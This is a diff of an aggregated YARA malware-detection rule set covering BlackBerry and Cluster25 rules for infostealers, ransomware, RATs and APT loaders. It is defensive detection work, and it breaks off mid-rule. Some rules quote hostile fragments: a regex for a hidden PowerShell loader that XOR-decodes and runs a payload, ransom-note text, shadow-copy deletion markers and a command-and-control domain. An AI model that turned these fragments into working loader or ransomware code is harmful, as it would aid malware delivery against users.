"https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Infostealer_MSI_Jupyter_Embedded_PowerShell.yar#L1-L20" license_url = "N/A" - logic_hash = "5a8e449316d41c2fa28c7137b18ec4c8ac72bb4a0923fae4da7dd89e844421cb" + logic_hash = "7528342e5aea1c35b59a458695c0e363c6d6c6e1c2df38614ff185c74085ac89" score = 75 - quality = 33 - tags = "" + quality = 60 + tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $c1 = /\.[T|t][O|o][L|l][O|o][W|w][E|e][R|r]\(\)\)?;[I|i][E|e][X|x]/ - $c2 = "get-random -minimum 50000 -maximum 200000" nocase - $c3 = "ReaDALlBYTES" nocase - $c4 = /createshortcut\(\$env\:appdata\+'\\m\'\+\'icr\'\+\'oso\'\+\'ft\'\+\'\\w\'\+\'ind\'\+\'ow\'\+\'s\\\'\+\'st\'\+\'art\'\+\' me\'\+\'nu\'\+\'\\pr\'\+\'ogr\'\+\'ams\\\'\+\'st\'\+\'art\'\+\'up\'\+\'\\.{29}\.lnk\'\)/ nocase + $msi = { D0 CF 11 E0 A1 B1 1A E1 } + $x1 = /powershell-ep bypass -windowstyle hidden -command \"\$xp=\'\[AppDataFolder\]pd\w*\.(log|txt)\';\$xk=\'[a-zA-Z]{52}\';\$xb=\[\\\[\]System\.Convert\[\\\]\]::FromBase64String\(\[\\\[\]System\.IO\.File\[\\\]\]::ReadAllText\(\$xp\)\);remove-item \$xp;for\(\$i=0;\$i -lt \$xb.count;\)\[\\\{\]for\(\$j=0;\$j -lt \$xk\.length;\$j\+\+\)\[\\\{\]\$xb\[\\\[\]\$i\[\\\]\]=\$xb\[\\\[\]\$i\[\\\]\] -bxor \$xk\[\\\[\]\$j\[\\\]\];\$i\+\+;if\(\$i -ge \$xb.count\)\[\\\{\]\$j=\$xk\.length;\[\\\}\]\[\\\}\]\[\\\}\];\$xb=\[\\\[\]System.Text.Encoding\[\\\]\]::UTF8\.GetString\(\$xb\);iex \$xb;/ nocase condition: - all of ( $c* ) + $msi at 0 and all of ( $x* ) } -rule BLACKBERRY_Eternityclipper : FILE +rule BLACKBERRY_Eternityransom : FILE { meta: - description = "Detects Eternity Clipper" + description = "Detects Eternity Ransomware" author = "BlackBerry Threat Research Team" - id = "18aedf62-2062-5f3a-a4b2-6c647efcf85b" + id = "2a00bca6-2245-5330-9ad7-522f7bab42f4" date = "2022-05-22" modified = "2022-07-07" reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/EternityClipper.yar#L4-L30" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/EternityRansom.yar#L4-L28" license_url = "N/A" - logic_hash = "bb766a8bcb0f31babdc12ceac9bb56b8b6a25119ec713fe30b99ed975f4b7a39" + logic_hash = "9c4eabc8441b0bb80e582f4227f85b3e000e3fc6b1da237d9ce55df9716fb571" score = 75 quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $s1 = "CopyFromScreen" - $s2 = "CaptureDesktop" - $s3 = "Win32Clipboard" - $s4 = "Clipboard Manager" - $s5 = "Eternity.exe" wide - $s6 = "AddClipboardFormatListener" - $s7 = "AesCryptoServiceProvider" + $s1 = "The harddisks of your computer have been encrypted with an Military grade encryption algorithm." + $s2 = "by Eternity group" + $s3 = "Eternity" + $s4 = "decryption_password" + $s5 = "Povlsomware" condition: ( uint16( 0 ) == 0x5a4d and all of ( $s* ) ) } -rule BLACKBERRY_Mal_Win32_Chaos_Builder_Ransomware_2022 : FILE -{ - meta: - description = "Detects Chaos Ransomware Builder" - author = "BlackBerry Threat Research" - id = "53c812da-802c-5116-89aa-455d1a20a179" - date = "2022-05-10" - modified = "2022-07-08" - reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Win32_Chaos_Builder_Ransomware_2022.yar#L4-L44" - license_url = "N/A" - logic_hash = "32b68ef2f6e011255080f2666170a4fad42c6a8dd28a05c1a58936dcd27084ec" - score = 75 - quality = 85 - tags = "FILE" - license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" - - strings: - $s0 = "1qw0ll8p9m8uezhqhyd" ascii wide - $s1 = "Chaos Ransomware Builder" ascii wide - $s2 = "payloadFutureName" ascii wide - $s3 = "read_it.txt" ascii wide - $s4 = "encryptedFileExtension" ascii wide - $x0 = "1098576" ascii wide - $x1 = "2197152" ascii wide - - condition: - uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) ) and ( 1 of ( $x* ) ) ) -} - -rule BLACKBERRY_Mal_Infostealer_Win32_Jupyter_Download_And_Execute_Module -{ - meta: - description = "Detects Jupter download and execute module. Research has shown it downloading SolarDelphi / JupyterStealer." - author = "BlackBerry Threat Research Team" - id = "318b0327-b4b0-57a6-8a24-51320b1026ec" - date = "2021-11-09" - modified = "2022-07-06" - reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Infostealer_Win32_Jupyter_Download_and_Execute_Module.yar#L4-L30" - license_url = "N/A" - logic_hash = "7491eeb06e88512711688a1baf6967e6b6bf80ad4937c16fd49059903cac35df" - score = 75 - quality = 85 - tags = "" - license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" - - strings: - $e1 = { 68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00 } - $e2 = { 47 00 45 00 54 00 00 3D 63 00 3A 00 5C 00 77 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 33 00 32 00 5C 00 77 00 69 00 6E 00 76 00 65 00 72 00 2E 00 65 00 78 00 65 } - $e3 = { 00 2F 00 67 00 65 00 74 00 2F 00 } - $e4 = "FromBase64String" - $e5 = "get_UTF8" - $e6 = "WebResponse" - $e7 = "GetResponse" - $e8 = "Invoke" - - condition: - pe.imports( "mscoree.dll" , "_CorDllMain" ) and dotnet.version == "v4.0.30319" and dotnet.assembly.version.major == 0 and dotnet.assembly.version.minor == 0 and all of ( $e* ) -} -rule BLACKBERRY_Windealer_Executable : FILE -{ - meta: - description = "Detects WinDealer Executable" - author = "BlackBerry Threat Research Team" - id = "68fe2b61-5c2d-5434-a9c5-dae25ccd40a0" - date = "2022-06-14" - modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malwareZ" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Windealer_executable.yar#L1-L23" - license_url = "N/A" - logic_hash = "296e89ca89d063d165b6abab6a1e1e0b641cbbe7ff0ea60125c6beada457a95b" - score = 75 - quality = 85 - tags = "FILE" - license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" - - strings: - $s1 = "28e4-20a6acec" - $s2 = "5a7e-42ccdb67" - $s3 = "632c-0ef22957" - $s4 = "63ae-a20cf808" - $s5 = "65ce-731bffbb" - $a1 = "remoteip" - $a2 = "sessionid" - $a3 = "remotedomain" - $a4 = "remark" - - condition: - uint16( 0 ) == 0x5a4d and 2 of ( $s* ) and 1 of ( $a* ) -} rule BLACKBERRY_Boratratkeylogger : FILE { meta: @@ -170610,188 +170546,199 @@ rule BLACKBERRY_Boratratkeylogger : FILE uint16( 0 ) == 0x5a4d and all of them } -rule BLACKBERRY_Mal_Win32_Onyx_Strain_Chaos_Ransomware_2022 : FILE +rule BLACKBERRY_Mal_Infostealer_EXE_Jupyter_Cert_36Ff : FILE { meta: - description = "Detects Onyx Ransomware build off of Chaos Builder v4" - author = "BlackBerry Threat Research" - id = "8c30c316-9fd3-5ad9-aea1-d93229cd9ca1" - date = "2022-05-10" - modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Win32_Onyx_Strain_Chaos_Ransomware_2022.yar#L3-L28" + description = "Detects Jupter executables by certificate OOO Sistema (36ff)" + author = "BlackBerry Research & Intelligence Team" + id = "5671b149-4eb6-5b13-92de-01b71a001802" + date = "2021-10-14" + modified = "2022-07-06" + reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Infostealer_EXE_Jupyter_Cert_36ff.yar#L3-L18" license_url = "N/A" - logic_hash = "2df2f36167710a4de4ff3fda8036472b1972b4175a0d14f8b06e0ad045eb5038" + logic_hash = "8f543c592f23257bda8902229a9a8a735bb593254b279a1786fc85734cd56905" score = 75 quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" - strings: - $s1 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" wide - $s2 = "All of your files are currently encrypted by ONYX strain." wide - $s3 = "Inform your supervisors and stay calm!" wide - condition: - uint16( 0 ) == 0x5a4d and pe.data_directories [ pe.IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR ] . size != 0 and all of ( $s* ) + uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "Certum Extended Validation Code Signing CA SHA2" and pe.signatures [ i ] . serial == "36:ff:67:4e:b3:05:e9:9c:35:56:5f:a3:01:d5:c4:b0" ) } -rule BLACKBERRY_Boratratinformation : FILE + +rule BLACKBERRY_Eternityworm : FILE { meta: - description = "Detects BoratRAT Information Module" + description = "Detects Eternity Worm" author = "BlackBerry Threat Research Team" - id = "2bd2ec00-3aa5-5f41-9e5b-713398a35b4a" - date = "2022-04-13" + id = "46860918-2c6e-528e-807c-ef6cf6c4f89b" + date = "2022-05-22" modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/BoratRATInformation.yar#L1-L45" + reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/EternityWorm.yar#L4-L31" license_url = "N/A" - logic_hash = "17545a0834e339039361802a6d675303a975b9de013620068f1a516e49e3138f" + logic_hash = "6d944eddc1cc5acbeab1a8c85f16380b22467a069f91e7e8dd0b682d98e71976" score = 75 quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $s1 = "set_UseShellExecute" - $s2 = "execCMD" - $s3 = "hostname" wide - $s4 = "ipconfig" wide - $s5 = "tasklist" wide - $s6 = "arp -a" wide - $sp = {43 3A 5C 55 73 65 72 73 5C 41 64 6D 69 6E 69 - - 73 74 72 61 74 6F 72 5C 44 6F 77 6E 6C 6F 61 - - 64 73 5C 53 61 6E 74 61 52 61 74 2D 6D 61 69 + $s1 = "Eternity 2022" wide + $s2 = "Eternity" wide + $s3 = "Anal Worm" wide + $s4 = "Made in Heaven" wide + $s5 = "Van Darkholme" wide + $s6 = "EternityWorm.exe" wide - 6E 5C 42 69 6E 61 72 69 65 73 5C 52 65 6C 65 + condition: + ( uint16( 0 ) == 0x5a4d and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and all of ( $s* ) ) +} - 61 73 65 5C 50 6C 75 67 69 6E 73 5C 49 6E 66 +rule BLACKBERRY_Mal_Win32_Chaosransomware_2022 : FILE +{ + meta: + description = "Detects Ransomware Built by Chaos Ransomware Builder" + author = "BlackBerry Threat Research" + id = "1fc57dd4-f020-5eb6-8e60-2bce3edfc512" + date = "2022-05-10" + modified = "2022-07-07" + reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Win32_ChaosRansomware_2022.yar#L3-L45" + license_url = "N/A" + logic_hash = "d466570965e22b1bb0f1ca30c725d553d7ccf9e25ce2b546f105002260b1d526" + score = 75 + quality = 83 + tags = "FILE" + license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" - 6F 72 6D 61 74 69 6F 6E 2E 70 64 62} + strings: + $x1 = "Encrypt" ascii wide + $x2 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" ascii wide + $x3 = "read" ascii wide + $r1 = { 20 76 69 72 75 73 } + $r2 = { 72 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 } + $z0 = "deleteShadowCopies" ascii wide + $z1 = "shadowcopy" ascii wide condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5a4d and filesize < 35KB and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and pe.number_of_sections == 3 and ( ( all of ( $x* ) ) and ( 1 of ( $r* ) ) and ( 1 of ( $z* ) ) ) } -rule BLACKBERRY_Eternityransom : FILE +rule BLACKBERRY_Mal_Backdoor_Chachi_RAT : FILE { meta: - description = "Detects Eternity Ransomware" - author = "BlackBerry Threat Research Team" - id = "2a00bca6-2245-5330-9ad7-522f7bab42f4" - date = "2022-05-22" + description = "ChaChi RAT used in PYSA Ransomware Campaigns" + author = "BlackBerry Threat Research & Intelligence" + id = "f0d531d3-585a-5194-ac30-fc62433d0ffc" + date = "2022-07-07" modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/EternityRansom.yar#L4-L28" + reference = "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Backdoor_ChaChi_RAT.yar#L1-L25" license_url = "N/A" - logic_hash = "9c4eabc8441b0bb80e582f4227f85b3e000e3fc6b1da237d9ce55df9716fb571" + logic_hash = "b49f22ceb57a21716c05dcf264cc239596f3a076525d7416961ae1f38bcf25bd" score = 75 - quality = 85 + quality = 77 tags = "FILE" - license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $s1 = "The harddisks of your computer have been encrypted with an Military grade encryption algorithm." - $s2 = "by Eternity group" - $s3 = "Eternity" - $s4 = "decryption_password" - $s5 = "Povlsomware" + $go = { 47 6F 20 62 75 69 6C 64 20 49 44 3A } + $dnsStream = { 64 6E 73 53 74 72 65 61 6D } + $socks5 = { 53 4F 43 4B 53 35 } + $chisel = { 63 68 69 73 65 6C } condition: - ( uint16( 0 ) == 0x5a4d and all of ( $s* ) ) + uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them } - -rule BLACKBERRY_Mal_Infostealer_EXE_Jupyter_Cert_36Ff : FILE +rule BLACKBERRY_Windealer_Executable : FILE { meta: - description = "Detects Jupter executables by certificate OOO Sistema (36ff)" - author = "BlackBerry Research & Intelligence Team" - id = "5671b149-4eb6-5b13-92de-01b71a001802" - date = "2021-10-14" - modified = "2022-07-06" - reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Infostealer_EXE_Jupyter_Cert_36ff.yar#L3-L18" + description = "Detects WinDealer Executable" + author = "BlackBerry Threat Research Team" + id = "68fe2b61-5c2d-5434-a9c5-dae25ccd40a0" + date = "2022-06-14" + modified = "2022-07-07" + reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malwareZ" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Windealer_executable.yar#L1-L23" license_url = "N/A" - logic_hash = "8f543c592f23257bda8902229a9a8a735bb593254b279a1786fc85734cd56905" + logic_hash = "296e89ca89d063d165b6abab6a1e1e0b641cbbe7ff0ea60125c6beada457a95b" score = 75 quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" + strings: + $s1 = "28e4-20a6acec" + $s2 = "5a7e-42ccdb67" + $s3 = "632c-0ef22957" + $s4 = "63ae-a20cf808" + $s5 = "65ce-731bffbb" + $a1 = "remoteip" + $a2 = "sessionid" + $a3 = "remotedomain" + $a4 = "remark" + condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "Certum Extended Validation Code Signing CA SHA2" and pe.signatures [ i ] . serial == "36:ff:67:4e:b3:05:e9:9c:35:56:5f:a3:01:d5:c4:b0" ) + uint16( 0 ) == 0x5a4d and 2 of ( $s* ) and 1 of ( $a* ) } - -rule BLACKBERRY_Mal_Win32_Chaosransomware_2022 : FILE +rule BLACKBERRY_Mal_Win32_Chaos_Builder_Ransomware_2022 : FILE { meta: - description = "Detects Ransomware Built by Chaos Ransomware Builder" + description = "Detects Chaos Ransomware Builder" author = "BlackBerry Threat Research" - id = "1fc57dd4-f020-5eb6-8e60-2bce3edfc512" + id = "53c812da-802c-5116-89aa-455d1a20a179" date = "2022-05-10" - modified = "2022-07-07" + modified = "2022-07-08" reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Win32_ChaosRansomware_2022.yar#L3-L45" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Win32_Chaos_Builder_Ransomware_2022.yar#L4-L44" license_url = "N/A" - logic_hash = "d466570965e22b1bb0f1ca30c725d553d7ccf9e25ce2b546f105002260b1d526" + logic_hash = "32b68ef2f6e011255080f2666170a4fad42c6a8dd28a05c1a58936dcd27084ec" score = 75 - quality = 83 + quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $x1 = "Encrypt" ascii wide - $x2 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" ascii wide - $x3 = "read" ascii wide - $r1 = { 20 76 69 72 75 73 } - $r2 = { 72 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 } - $z0 = "deleteShadowCopies" ascii wide - $z1 = "shadowcopy" ascii wide + $s0 = "1qw0ll8p9m8uezhqhyd" ascii wide + $s1 = "Chaos Ransomware Builder" ascii wide + $s2 = "payloadFutureName" ascii wide + $s3 = "read_it.txt" ascii wide + $s4 = "encryptedFileExtension" ascii wide + $x0 = "1098576" ascii wide + $x1 = "2197152" ascii wide condition: - uint16( 0 ) == 0x5a4d and filesize < 35KB and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and pe.number_of_sections == 3 and ( ( all of ( $x* ) ) and ( 1 of ( $r* ) ) and ( 1 of ( $z* ) ) ) + uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) ) and ( 1 of ( $x* ) ) ) } -rule BLACKBERRY_Windealer_Library : FILE +rule BLACKBERRY_Headertip : FILE { meta: - description = "Detects WinDealer Loaded DLL" + description = "Detects HeaderTip" author = "BlackBerry Threat Research Team" - id = "d7fbf21b-9144-532a-ad5d-29543f0ffc33" - date = "2022-06-14" - modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malwareZ" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Windealer_Library.yar#L1-L26" + id = "8569fed8-0fa8-515a-8ca2-ca4c2a959bbe" + date = "2022-04-06" + modified = "2022-07-06" + reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/HeaderTip.yar#L1-L18" license_url = "N/A" - logic_hash = "35151a8c0486ceaddb5020cb81f644bba4b01d5f8e4726786abc65ae92ca9c3e" + logic_hash = "426c6ebd4ebf85cc4b13d47dc77ae2648fba2b0ccdb7eeaea6b96f19a46c2d4e" score = 75 quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $s1 = "C:\\Users\\Public\\Documents\\Tencent\\QQ\\UserDataInfo.ini" - $s2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" - $s3 = "SOFTWARE\\SogouInput\\red" - $s4 = "SOFTWARE\\SogouDesktopBar" - $s5 = "MozillaDll.dll" - $s6 = "Tencent Files" - $s7 = "wangwang" - $s8 = "WeChat Files" - $s9 = "MyDocument" - $s10 = "Skype" - $e1 = "AutoGetSystemInfo" - $e2 = "GetConfigInfo" - $e3 = "partInitOpt" + $s1 = "type %temp%\\officecleaner.dat >> %objfile%" + $s2 = "product2020.mrbasic.com" wide condition: - uint16( 0 ) == 0x5a4d and all of them + filesize < 750KB and all of them } /* * YARA Rule Set * Repository Name: Cluster25 * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9 * Number of Rules: 9 * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance) @@ -170802,42 +170749,6 @@ rule BLACKBERRY_Windealer_Library : FILE * NO LICENSE SET */ -rule CLUSTER25_APT29_Loader_87221_00001 : FILE -{ - meta: - description = "Detects DLL loader variants used in Nobelium kill-chain" - author = "Cluster25" - id = "cbee0268-d346-5246-9c2c-97a01ec2e0b3" - date = "2023-04-10" - modified = "2023-04-10" - reference = "https://blog.cluster25.duskrise.com/2022/05/13/cozy-smuggled-into-the-box" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/APT29_Loader_87221_00001.yar#L2-L28" - license_url = "N/A" - logic_hash = "7de041baa35b6b07c11c5f08d456a717007ae356e35e296ec4288cf0293a1d7e" - score = 75 - quality = 75 - tags = "FILE" - tlp = "white" - hash1 = "6fc54151607a82d5f4fae661ef0b7b0767d325f5935ed6139f8932bc27309202" - hash2 = "23a09b74498aea166470ea2b569d42fd661c440f3f3014636879bd012600ed68" - - strings: - $s1 = "%s\\blank.pdf" fullword ascii - $s2 = "%s\\AcroSup" fullword ascii - $s3 = "vcruntime140.dll" fullword ascii - $s4 = "ME3.99.5UUUUUUUUUUU" fullword ascii - $c1 = "Rock" fullword ascii - $c2 = ".mp3" fullword ascii - $c3 = "%s.backup" fullword ascii - $sequence1 = { C7 45 ?? 0B 00 10 00 48 8B CF FF 15 ?? ?? ?? 00 85 C0 74 ?? 48 8D 55 ?? 48 89 75 ?? 48 8B CF FF 15 ?? ?? ?? 00 85 C0 74 ?? 48 8B CF FF 15 ?? ?? ?? 00 } - $sequence2 = { 0F B6 0B 4C 8D 05 ?? ?? ?? 00 89 4C 24 ?? 4D 8B CD 49 8B CD BA 04 01 00 00 E8 ?? ?? ?? ?? 48 8D 5B 01 48 83 EF 01 75 ?? } - $sequence3 = { 4C 8D 8C 24 ?? 00 00 00 8B 53 ?? 44 8D 40 ?? 48 03 CD 44 89 A4 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 8B 43 ?? 44 8B 43 ?? 4A 8D 14 38 48 8D 0C 28 E8 ?? ?? 00 00 8B 4B ?? 4C 8D 8C 24 ?? 00 00 00 8B 53 ?? 48 03 CD 44 8B 84 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 } - $sequence4 = { 42 0F B6 8C 32 ?? ?? ?? 00 48 83 C2 03 88 0F 48 8D 7F 01 48 83 FA 2D 7C E7 } - - condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and pe.imports ( "kernel32.dll" , "SetThreadContext" ) and pe.imports ( "kernel32.dll" , "ResumeThread" ) and pe.imports ( "kernel32.dll" , "K32GetModuleFileNameExA" ) and 3 of ( $s* ) and all of ( $c* ) and 3 of ( $sequence* ) -} - rule CLUSTER25_UNC1222_Hermeticwiper_23433_10002 : FILE { meta: @@ -170884,34 +170795,32 @@ rule CLUSTER25_UNC1222_Hermeticwiper_23433_10002 : FILE condition: uint16( 0 ) == 0x5a4d and pe.imports ( "lz32.dll" ) and filesize < 200KB and ( 2 of ( $p* ) and ( all of ( $s* ) or ( 6 of ( $s* ) and any of ( $r* ) ) or 4 of ( $r* ) ) ) } -rule CLUSTER25_Ghostwriter_Microbackdoor_72632_00001 : FILE + +rule CLUSTER25_APT28_Skinnyboy_Implanter : RUSSIAN THREAT ACTOR FILE { meta: description = "No description has been set in the source file - Cluster25" author = "Cluster25" - id = "b50ca459-bb0b-567d-968c-772f73f22eb4" - date = "2023-04-10" + id = "c44faf95-a64c-58f4-97d4-2fe17aefc813" + date = "2021-05-24" modified = "2023-04-10" - reference = "https://blog.cluster25.duskrise.com/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/GhostWriter_MicroBackdoor_72632_00001.yar#L1-L15" + reference = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/2021-05_FancyBear.pdf" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/APT28_SkinnyBoy_Implanter.yar#L2-L16" license_url = "N/A" - logic_hash = "cb58d374036f0e52299adb2c7b6795a3610e9d3b29be041d4aa32b44b19a1680" + hash = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698" + logic_hash = "f5b8944910297988ecf5aecf23d20c384cf141a3a0972baadfacc4969dc46e7c" score = 75 quality = 75 - tags = "FILE" - hash1 = "559d8e8f2c60478d1c057b46ec6be912fae7df38e89553804cc566cac46e8e91" - tlp = "white" + tags = "RUSSIAN, THREAT, ACTOR, FILE" strings: - $ = "cmd.exe /C \"%s%s\"" fullword wide - $ = "client.dll" fullword ascii - $ = "ERROR: Unknown command" fullword ascii - $ = " *** ERROR: Timeout occured" fullword ascii - $ = "%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii - $ = "MIIDazCCAlOgAwIBAgIUWOftflCclQXpmWMnL1ewj2F5Y1AwDQYJKoZIhvcNAQEL" fullword ascii + $enc_string = {F3 0F 7E 05 ?? ?? ?? ?? 6? [5] 6A ?? 66 [6] 66 [7] F3 0F 7E 05 ?? ?? ?? ?? 8D +85 [4] 6A ?? 50 66 [7] E8} + $heap_ops = {8B [1-5] 03 ?? 5? 